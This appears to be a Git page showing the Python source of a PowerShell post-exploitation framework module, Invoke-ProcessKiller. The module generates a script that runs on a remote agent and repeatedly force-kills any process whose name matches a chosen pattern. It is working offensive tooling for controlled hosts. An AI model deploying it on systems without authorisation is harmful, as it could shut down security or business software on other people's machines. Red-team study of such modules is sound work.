|
||||||
|
import base64
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-ProcessKiller',
|
||||||
|
|
||||||
|
'Author': ['@harmj0y'],
|
||||||
|
|
||||||
|
'Description': ("Kills any process starting with a particular name."),
|
||||||
|
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [ ]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ProcessName' : {
|
||||||
|
'Description' : 'Process name to kill on starting (wildcards accepted).',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Sleep' : {
|
||||||
|
'Description' : 'Time to sleep between checks.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : '1'
|
||||||
|
},
|
||||||
|
'Silent' : {
|
||||||
|
'Description' : "Switch. Don't output kill messages.",
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
script = """
|
||||||
|
function Invoke-ProcessKiller {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param (
|
||||||
|
[Parameter(Mandatory = $True, Position = 0)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$ProcessName,
|
||||||
|
|
||||||
|
[Parameter(Position = 1)]
|
||||||
|
[Int]
|
||||||
|
$Sleep = 1,
|
||||||
|
|
||||||
|
[Parameter(Position = 2)]
|
||||||
|
[Switch]
|
||||||
|
$Silent
|
||||||
|
)
|
||||||
|
|
||||||
|
"Invoke-ProcessKiller monitoring for $ProcessName every $Sleep seconds"
|
||||||
|
|
||||||
|
while($true){
|
||||||
|
Start-Sleep $Sleep
|
||||||
|
|
||||||
|
Get-Process $ProcessName | % {
|
||||||
|
if (-not $Silent) {
|
||||||
|
"`n$ProcessName process started, killing..."
|
||||||
|
}
|
||||||
|
Stop-Process $_.Id -Force
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Invoke-ProcessKiller"""
|
||||||
|
|
||||||
|
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " " + str(values['Value'])
|
||||||
|
|
||||||
|
|
||||||
|
return script
|
Loading…
Reference in New Issue